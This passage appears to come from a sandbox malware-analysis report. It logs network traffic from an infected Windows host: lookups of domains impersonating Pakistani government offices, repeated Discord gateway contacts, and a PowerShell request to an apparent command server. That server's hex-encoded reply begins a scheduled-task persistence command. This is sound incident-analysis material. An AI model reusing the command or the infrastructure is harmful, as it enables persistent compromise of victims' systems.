Sep 30, 2024 18:58:40.240341902 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.240371943 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:40.240411043 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:40.241054058 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:40.891259909 CEST	49724	443	192.168.2.7	162.159.135.234
Sep 30, 2024 18:58:40.891304016 CEST	443	49724	162.159.135.234	192.168.2.7
Sep 30, 2024 18:58:40.891402006 CEST	49724	443	192.168.2.7	162.159.135.234
Sep 30, 2024 18:58:40.891756058 CEST	49724	443	192.168.2.7	162.159.135.234
Sep 30, 2024 18:58:40.891772985 CEST	443	49724	162.159.135.234	192.168.2.7
Sep 30, 2024 18:58:41.094326019 CEST	443	49712	142.250.186.36	192.168.2.7
Sep 30, 2024 18:58:41.094403028 CEST	443	49712	142.250.186.36	192.168.2.7
Sep 30, 2024 18:58:41.094537020 CEST	49712	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:58:41.348439932 CEST	443	49724	162.159.135.234	192.168.2.7
Sep 30, 2024 18:58:41.349539042 CEST	49724	443	192.168.2.7	162.159.135.234
Sep 30, 2024 18:58:41.351744890 CEST	49724	443	192.168.2.7	162.159.135.234
Sep 30, 2024 18:58:41.351764917 CEST	443	49724	162.159.135.234	192.168.2.7
Sep 30, 2024 18:58:41.352062941 CEST	443	49724	162.159.135.234	192.168.2.7
Sep 30, 2024 18:58:41.360477924 CEST	49724	443	192.168.2.7	162.159.135.234
Sep 30, 2024 18:58:41.403399944 CEST	443	49724	162.159.135.234	192.168.2.7
Sep 30, 2024 18:58:41.542866945 CEST	443	49724	162.159.135.234	192.168.2.7
Sep 30, 2024 18:58:41.542944908 CEST	443	49724	162.159.135.234	192.168.2.7
Sep 30, 2024 18:58:41.543009043 CEST	49724	443	192.168.2.7	162.159.135.234
Sep 30, 2024 18:58:41.543495893 CEST	49724	443	192.168.2.7	162.159.135.234
Sep 30, 2024 18:58:41.805732012 CEST	49719	80	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:42.595906973 CEST	49712	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:58:42.595935106 CEST	443	49712	142.250.186.36	192.168.2.7
Sep 30, 2024 18:58:53.663961887 CEST	49714	80	192.168.2.7	172.67.149.9
Sep 30, 2024 18:59:14.023128986 CEST	49725	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:59:14.023173094 CEST	443	49725	52.165.165.26	192.168.2.7
Sep 30, 2024 18:59:14.023319960 CEST	49725	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:59:14.023699045 CEST	49725	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:59:14.023724079 CEST	443	49725	52.165.165.26	192.168.2.7
Sep 30, 2024 18:59:14.723690033 CEST	443	49725	52.165.165.26	192.168.2.7
Sep 30, 2024 18:59:14.724000931 CEST	49725	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:59:14.726188898 CEST	49725	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:59:14.726207018 CEST	443	49725	52.165.165.26	192.168.2.7
Sep 30, 2024 18:59:14.726452112 CEST	443	49725	52.165.165.26	192.168.2.7
Sep 30, 2024 18:59:14.732626915 CEST	49725	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:59:14.775402069 CEST	443	49725	52.165.165.26	192.168.2.7
Sep 30, 2024 18:59:14.994859934 CEST	443	49725	52.165.165.26	192.168.2.7
Sep 30, 2024 18:59:14.994888067 CEST	443	49725	52.165.165.26	192.168.2.7
Sep 30, 2024 18:59:14.994904041 CEST	443	49725	52.165.165.26	192.168.2.7
Sep 30, 2024 18:59:14.995146990 CEST	49725	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:59:14.995176077 CEST	443	49725	52.165.165.26	192.168.2.7
Sep 30, 2024 18:59:14.995246887 CEST	49725	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:59:14.996046066 CEST	443	49725	52.165.165.26	192.168.2.7
Sep 30, 2024 18:59:14.996084929 CEST	443	49725	52.165.165.26	192.168.2.7
Sep 30, 2024 18:59:14.996123075 CEST	49725	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:59:14.996131897 CEST	443	49725	52.165.165.26	192.168.2.7
Sep 30, 2024 18:59:14.996143103 CEST	443	49725	52.165.165.26	192.168.2.7
Sep 30, 2024 18:59:14.996175051 CEST	49725	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:59:14.996256113 CEST	49725	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:59:14.997459888 CEST	49725	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:59:14.997477055 CEST	443	49725	52.165.165.26	192.168.2.7
Sep 30, 2024 18:59:14.997492075 CEST	49725	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:59:14.997497082 CEST	443	49725	52.165.165.26	192.168.2.7
Sep 30, 2024 18:59:16.685651064 CEST	443	49717	104.98.116.138	192.168.2.7
Sep 30, 2024 18:59:16.685714006 CEST	49717	443	192.168.2.7	104.98.116.138
Sep 30, 2024 18:59:30.596120119 CEST	49727	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:59:30.596178055 CEST	443	49727	142.250.186.36	192.168.2.7
Sep 30, 2024 18:59:30.596256971 CEST	49727	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:59:30.596621990 CEST	49727	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:59:30.596633911 CEST	443	49727	142.250.186.36	192.168.2.7
Sep 30, 2024 18:59:31.734653950 CEST	443	49727	142.250.186.36	192.168.2.7
Sep 30, 2024 18:59:31.747262955 CEST	49727	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:59:31.747289896 CEST	443	49727	142.250.186.36	192.168.2.7
Sep 30, 2024 18:59:31.747797012 CEST	443	49727	142.250.186.36	192.168.2.7
Sep 30, 2024 18:59:31.748100042 CEST	49727	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:59:31.748167992 CEST	443	49727	142.250.186.36	192.168.2.7
Sep 30, 2024 18:59:31.797209978 CEST	49727	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:59:41.640319109 CEST	443	49727	142.250.186.36	192.168.2.7
Sep 30, 2024 18:59:41.640403986 CEST	443	49727	142.250.186.36	192.168.2.7
Sep 30, 2024 18:59:41.640568018 CEST	49727	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:59:42.584300995 CEST	49727	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:59:42.584331036 CEST	443	49727	142.250.186.36	192.168.2.7
Sep 30, 2024 19:00:07.142864943 CEST	49702	80	192.168.2.7	172.67.132.65
Sep 30, 2024 19:00:07.148276091 CEST	80	49702	172.67.132.65	192.168.2.7
Sep 30, 2024 19:00:07.148375034 CEST	49702	80	192.168.2.7	172.67.132.65

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 18:58:17.636629105 CEST	123	123	192.168.2.7	20.101.57.9
Sep 30, 2024 18:58:17.809326887 CEST	123	123	20.101.57.9	192.168.2.7
Sep 30, 2024 18:58:19.708942890 CEST	60232	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:58:19.736762047 CEST	53	60232	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:22.879631996 CEST	60233	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:58:22.886416912 CEST	53	60233	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:22.890319109 CEST	60234	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:58:22.898044109 CEST	53	60234	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:22.900959969 CEST	60235	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:58:22.908229113 CEST	53	60235	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:22.968064070 CEST	60236	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:58:22.977456093 CEST	53	60236	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:22.979855061 CEST	60237	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:58:22.990200043 CEST	53	60237	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:22.993117094 CEST	60238	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:58:23.003952026 CEST	53	60238	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:25.382898092 CEST	55536	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:58:25.820085049 CEST	53	55536	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:26.202284098 CEST	63102	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:58:26.203921080 CEST	61046	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:58:26.210859060 CEST	53	58167	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:26.221546888 CEST	53	49805	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:26.378424883 CEST	53	61046	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:26.391805887 CEST	53	63102	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:27.352183104 CEST	53	60154	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:30.534493923 CEST	57090	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:58:30.534674883 CEST	54564	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:58:30.541722059 CEST	53	57090	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:30.542982101 CEST	53	54564	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:31.119193077 CEST	62904	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:58:31.301826954 CEST	53	62904	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:35.778315067 CEST	49282	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:58:35.954905033 CEST	53	49282	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:40.878232002 CEST	57564	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:58:40.887160063 CEST	53	57564	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:44.458796978 CEST	53	56190	1.1.1.1	192.168.2.7
Sep 30, 2024 18:58:59.548046112 CEST	61006	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:58:59.555881023 CEST	53	61006	1.1.1.1	192.168.2.7
Sep 30, 2024 18:59:03.494328976 CEST	53	61162	1.1.1.1	192.168.2.7
Sep 30, 2024 18:59:11.897355080 CEST	138	138	192.168.2.7	192.168.2.255
Sep 30, 2024 18:59:18.643251896 CEST	60352	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:59:18.653446913 CEST	53	60352	1.1.1.1	192.168.2.7
Sep 30, 2024 18:59:25.782953978 CEST	53	51502	1.1.1.1	192.168.2.7
Sep 30, 2024 18:59:25.978931904 CEST	53	63292	1.1.1.1	192.168.2.7
Sep 30, 2024 18:59:39.251396894 CEST	51637	53	192.168.2.7	1.1.1.1
Sep 30, 2024 18:59:39.258517981 CEST	53	51637	1.1.1.1	192.168.2.7
Sep 30, 2024 18:59:54.446173906 CEST	53	59256	1.1.1.1	192.168.2.7
Sep 30, 2024 19:00:09.534959078 CEST	61867	53	192.168.2.7	1.1.1.1
Sep 30, 2024 19:00:09.542581081 CEST	53	61867	1.1.1.1	192.168.2.7
Sep 30, 2024 19:00:40.369018078 CEST	53	58441	1.1.1.1	192.168.2.7
Sep 30, 2024 19:00:55.441621065 CEST	64809	53	192.168.2.7	1.1.1.1
Sep 30, 2024 19:00:55.448606968 CEST	53	64809	1.1.1.1	192.168.2.7
Sep 30, 2024 19:01:21.220726013 CEST	54503	53	192.168.2.7	1.1.1.1
Sep 30, 2024 19:01:21.229494095 CEST	53	54503	1.1.1.1	192.168.2.7
Sep 30, 2024 19:01:56.416773081 CEST	53	63709	1.1.1.1	192.168.2.7
Sep 30, 2024 19:02:11.486885071 CEST	49349	53	192.168.2.7	1.1.1.1
Sep 30, 2024 19:02:11.495424986 CEST	53	49349	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Type
Sep 30, 2024 18:58:19.744822025 CEST	192.168.2.7	104.22.15.154	4d5a	Echo
Sep 30, 2024 18:58:19.751045942 CEST	104.22.15.154	192.168.2.7	555a	Echo Reply
Sep 30, 2024 18:58:20.750298023 CEST	192.168.2.7	104.22.15.154	4d59	Echo
Sep 30, 2024 18:58:20.756638050 CEST	104.22.15.154	192.168.2.7	5559	Echo Reply
Sep 30, 2024 18:58:21.765928984 CEST	192.168.2.7	104.22.15.154	4d58	Echo
Sep 30, 2024 18:58:21.772416115 CEST	104.22.15.154	192.168.2.7	5558	Echo Reply
Sep 30, 2024 18:58:22.781742096 CEST	192.168.2.7	104.22.15.154	4d57	Echo
Sep 30, 2024 18:58:22.788064003 CEST	104.22.15.154	192.168.2.7	5557	Echo Reply

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 30, 2024 18:58:19.708942890 CEST	192.168.2.7	1.1.1.1	0x6c9a	Standard query (0)	www.nadra.gov.pk	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:22.879631996 CEST	192.168.2.7	1.1.1.1	0x1	Standard query (0)	1.1.1.1.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Sep 30, 2024 18:58:22.890319109 CEST	192.168.2.7	1.1.1.1	0x2	Standard query (0)	www.yahoo.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:22.900959969 CEST	192.168.2.7	1.1.1.1	0x3	Standard query (0)	www.yahoo.com	28	IN (0x0001)	false
Sep 30, 2024 18:58:22.968064070 CEST	192.168.2.7	1.1.1.1	0x1	Standard query (0)	1.1.1.1.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Sep 30, 2024 18:58:22.979855061 CEST	192.168.2.7	1.1.1.1	0x2	Standard query (0)	www.protonmail.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:22.993117094 CEST	192.168.2.7	1.1.1.1	0x3	Standard query (0)	www.protonmail.com	28	IN (0x0001)	false
Sep 30, 2024 18:58:25.382898092 CEST	192.168.2.7	1.1.1.1	0xa5d2	Standard query (0)	pmofficepakistancloudserver.shiftroof.top	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:26.202284098 CEST	192.168.2.7	1.1.1.1	0xf1a3	Standard query (0)	pmo.gov.pk	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:26.203921080 CEST	192.168.2.7	1.1.1.1	0xed39	Standard query (0)	pmo.gov.pk	65	IN (0x0001)	false
Sep 30, 2024 18:58:30.534493923 CEST	192.168.2.7	1.1.1.1	0x121d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:30.534674883 CEST	192.168.2.7	1.1.1.1	0x7c9a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 30, 2024 18:58:31.119193077 CEST	192.168.2.7	1.1.1.1	0x6f98	Standard query (0)	ofc.mofserviceserver.top	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:35.778315067 CEST	192.168.2.7	1.1.1.1	0x68ad	Standard query (0)	cloud.dellicon.top	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:40.878232002 CEST	192.168.2.7	1.1.1.1	0xcfb9	Standard query (0)	gateway.discord.gg	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:59.548046112 CEST	192.168.2.7	1.1.1.1	0x530d	Standard query (0)	gateway.discord.gg	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:59:18.643251896 CEST	192.168.2.7	1.1.1.1	0xc4fd	Standard query (0)	gateway.discord.gg	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:59:39.251396894 CEST	192.168.2.7	1.1.1.1	0xe207	Standard query (0)	gateway.discord.gg	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:00:09.534959078 CEST	192.168.2.7	1.1.1.1	0x88df	Standard query (0)	gateway.discord.gg	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:00:55.441621065 CEST	192.168.2.7	1.1.1.1	0x7529	Standard query (0)	gateway.discord.gg	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:01:21.220726013 CEST	192.168.2.7	1.1.1.1	0x3438	Standard query (0)	gateway.discord.gg	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:02:11.486885071 CEST	192.168.2.7	1.1.1.1	0x1de9	Standard query (0)	gateway.discord.gg	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 30, 2024 18:58:19.736762047 CEST	1.1.1.1	192.168.2.7	0x6c9a	No error (0)	www.nadra.gov.pk		104.22.15.154	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:19.736762047 CEST	1.1.1.1	192.168.2.7	0x6c9a	No error (0)	www.nadra.gov.pk		104.22.14.154	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:19.736762047 CEST	1.1.1.1	192.168.2.7	0x6c9a	No error (0)	www.nadra.gov.pk		172.67.30.179	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:22.886416912 CEST	1.1.1.1	192.168.2.7	0x1	No error (0)	1.1.1.1.in-addr.arpa			PTR (Pointer record)	IN (0x0001)	false
Sep 30, 2024 18:58:22.898044109 CEST	1.1.1.1	192.168.2.7	0x2	No error (0)	www.yahoo.com	me-ycpi-cf-www.g06.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 18:58:22.898044109 CEST	1.1.1.1	192.168.2.7	0x2	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:22.898044109 CEST	1.1.1.1	192.168.2.7	0x2	No error (0)	me-ycpi-cf-www.g06.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:22.908229113 CEST	1.1.1.1	192.168.2.7	0x3	No error (0)	www.yahoo.com	me-ycpi-cf-www.g06.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 18:58:22.908229113 CEST	1.1.1.1	192.168.2.7	0x3	No error (0)	me-ycpi-cf-www.g06.yahoodns.net			28	IN (0x0001)	false
Sep 30, 2024 18:58:22.908229113 CEST	1.1.1.1	192.168.2.7	0x3	No error (0)	me-ycpi-cf-www.g06.yahoodns.net			28	IN (0x0001)	false
Sep 30, 2024 18:58:22.977456093 CEST	1.1.1.1	192.168.2.7	0x1	No error (0)	1.1.1.1.in-addr.arpa			PTR (Pointer record)	IN (0x0001)	false
Sep 30, 2024 18:58:22.990200043 CEST	1.1.1.1	192.168.2.7	0x2	No error (0)	www.protonmail.com		185.70.42.31	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:25.820085049 CEST	1.1.1.1	192.168.2.7	0xa5d2	No error (0)	pmofficepakistancloudserver.shiftroof.top		172.67.132.65	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:25.820085049 CEST	1.1.1.1	192.168.2.7	0xa5d2	No error (0)	pmofficepakistancloudserver.shiftroof.top		104.21.4.163	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:26.391805887 CEST	1.1.1.1	192.168.2.7	0xf1a3	No error (0)	pmo.gov.pk		203.101.184.118	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:30.541722059 CEST	1.1.1.1	192.168.2.7	0x121d	No error (0)	www.google.com		142.250.186.36	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:30.542982101 CEST	1.1.1.1	192.168.2.7	0x7c9a	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 30, 2024 18:58:31.301826954 CEST	1.1.1.1	192.168.2.7	0x6f98	No error (0)	ofc.mofserviceserver.top		172.67.149.9	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:31.301826954 CEST	1.1.1.1	192.168.2.7	0x6f98	No error (0)	ofc.mofserviceserver.top		104.21.29.133	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:35.954905033 CEST	1.1.1.1	192.168.2.7	0x68ad	No error (0)	cloud.dellicon.top		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:35.954905033 CEST	1.1.1.1	192.168.2.7	0x68ad	No error (0)	cloud.dellicon.top		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:40.887160063 CEST	1.1.1.1	192.168.2.7	0xcfb9	No error (0)	gateway.discord.gg		162.159.135.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:40.887160063 CEST	1.1.1.1	192.168.2.7	0xcfb9	No error (0)	gateway.discord.gg		162.159.136.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:40.887160063 CEST	1.1.1.1	192.168.2.7	0xcfb9	No error (0)	gateway.discord.gg		162.159.130.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:40.887160063 CEST	1.1.1.1	192.168.2.7	0xcfb9	No error (0)	gateway.discord.gg		162.159.133.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:40.887160063 CEST	1.1.1.1	192.168.2.7	0xcfb9	No error (0)	gateway.discord.gg		162.159.134.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:59.555881023 CEST	1.1.1.1	192.168.2.7	0x530d	No error (0)	gateway.discord.gg		162.159.134.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:59.555881023 CEST	1.1.1.1	192.168.2.7	0x530d	No error (0)	gateway.discord.gg		162.159.135.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:59.555881023 CEST	1.1.1.1	192.168.2.7	0x530d	No error (0)	gateway.discord.gg		162.159.133.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:59.555881023 CEST	1.1.1.1	192.168.2.7	0x530d	No error (0)	gateway.discord.gg		162.159.136.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:58:59.555881023 CEST	1.1.1.1	192.168.2.7	0x530d	No error (0)	gateway.discord.gg		162.159.130.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:59:18.653446913 CEST	1.1.1.1	192.168.2.7	0xc4fd	No error (0)	gateway.discord.gg		162.159.134.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:59:18.653446913 CEST	1.1.1.1	192.168.2.7	0xc4fd	No error (0)	gateway.discord.gg		162.159.133.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:59:18.653446913 CEST	1.1.1.1	192.168.2.7	0xc4fd	No error (0)	gateway.discord.gg		162.159.130.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:59:18.653446913 CEST	1.1.1.1	192.168.2.7	0xc4fd	No error (0)	gateway.discord.gg		162.159.135.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:59:18.653446913 CEST	1.1.1.1	192.168.2.7	0xc4fd	No error (0)	gateway.discord.gg		162.159.136.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:59:39.258517981 CEST	1.1.1.1	192.168.2.7	0xe207	No error (0)	gateway.discord.gg		162.159.130.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:59:39.258517981 CEST	1.1.1.1	192.168.2.7	0xe207	No error (0)	gateway.discord.gg		162.159.135.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:59:39.258517981 CEST	1.1.1.1	192.168.2.7	0xe207	No error (0)	gateway.discord.gg		162.159.136.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:59:39.258517981 CEST	1.1.1.1	192.168.2.7	0xe207	No error (0)	gateway.discord.gg		162.159.134.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 18:59:39.258517981 CEST	1.1.1.1	192.168.2.7	0xe207	No error (0)	gateway.discord.gg		162.159.133.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:00:09.542581081 CEST	1.1.1.1	192.168.2.7	0x88df	No error (0)	gateway.discord.gg		162.159.130.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:00:09.542581081 CEST	1.1.1.1	192.168.2.7	0x88df	No error (0)	gateway.discord.gg		162.159.134.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:00:09.542581081 CEST	1.1.1.1	192.168.2.7	0x88df	No error (0)	gateway.discord.gg		162.159.135.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:00:09.542581081 CEST	1.1.1.1	192.168.2.7	0x88df	No error (0)	gateway.discord.gg		162.159.136.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:00:09.542581081 CEST	1.1.1.1	192.168.2.7	0x88df	No error (0)	gateway.discord.gg		162.159.133.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:00:55.448606968 CEST	1.1.1.1	192.168.2.7	0x7529	No error (0)	gateway.discord.gg		162.159.136.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:00:55.448606968 CEST	1.1.1.1	192.168.2.7	0x7529	No error (0)	gateway.discord.gg		162.159.134.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:00:55.448606968 CEST	1.1.1.1	192.168.2.7	0x7529	No error (0)	gateway.discord.gg		162.159.135.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:00:55.448606968 CEST	1.1.1.1	192.168.2.7	0x7529	No error (0)	gateway.discord.gg		162.159.133.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:00:55.448606968 CEST	1.1.1.1	192.168.2.7	0x7529	No error (0)	gateway.discord.gg		162.159.130.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:01:21.229494095 CEST	1.1.1.1	192.168.2.7	0x3438	No error (0)	gateway.discord.gg		162.159.136.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:01:21.229494095 CEST	1.1.1.1	192.168.2.7	0x3438	No error (0)	gateway.discord.gg		162.159.130.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:01:21.229494095 CEST	1.1.1.1	192.168.2.7	0x3438	No error (0)	gateway.discord.gg		162.159.133.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:01:21.229494095 CEST	1.1.1.1	192.168.2.7	0x3438	No error (0)	gateway.discord.gg		162.159.134.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:01:21.229494095 CEST	1.1.1.1	192.168.2.7	0x3438	No error (0)	gateway.discord.gg		162.159.135.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:02:11.495424986 CEST	1.1.1.1	192.168.2.7	0x1de9	No error (0)	gateway.discord.gg		162.159.130.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:02:11.495424986 CEST	1.1.1.1	192.168.2.7	0x1de9	No error (0)	gateway.discord.gg		162.159.134.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:02:11.495424986 CEST	1.1.1.1	192.168.2.7	0x1de9	No error (0)	gateway.discord.gg		162.159.136.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:02:11.495424986 CEST	1.1.1.1	192.168.2.7	0x1de9	No error (0)	gateway.discord.gg		162.159.133.234	A (IP address)	IN (0x0001)	false
Sep 30, 2024 19:02:11.495424986 CEST	1.1.1.1	192.168.2.7	0x1de9	No error (0)	gateway.discord.gg		162.159.135.234	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pmo.gov.pk

ofc.mofserviceserver.top

slscr.update.microsoft.com

cloud.dellicon.top

gateway.discord.gg

pmofficepakistancloudserver.shiftroof.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	172.67.132.65	80	5140	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:58:26.199614048 CEST	197	OUT	GET //WinSysMgr/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pmofficepakistancloudserver.shiftroof.top Connection: Keep-Alive
Sep 30, 2024 18:58:26.976491928 CEST	1044	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 16:58:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: LAST_VISIT=Monday%2C%20September%2030%2C%202024%20at%2010%3A28%20PM; expires=Tue, 30-Sep-2025 16:58:26 GMT; Max-Age=31536000 Set-Cookie: VISIT_NUMBER=1; expires=Mon, 14-Oct-2024 16:58:26 GMT; Max-Age=1209600 Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SLnT5puU%2Ff2%2Fu824QOu6ijf3AgERZxSj3YCWlUZzd0KMC5LbVWsyaKBhR5bOKHVGDLli3Rz%2FrGwZVxy267ZqhNInz2HwNJDUcYme%2FYaJWwiD5Ax45XMKHxNcxZrFInLQjbc2kxDBKrqbsVag0rwpryToXi0hqCN086dPNQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c1fbff6d42b3-EWR Data Raw: 39 63 0d 0a 63 6d 64 20 2f 6b 20 73 63 68 74 61 73 6b 73 20 2f 63 72 65 61 74 65 20 2f 73 63 20 64 61 69 6c 79 20 2f 74 6e 20 4c 6f 63 61 6c 4d 43 6c 65 61 6e 65 72 20 2f 74 72 20 22 50 6f 77 65 72 73 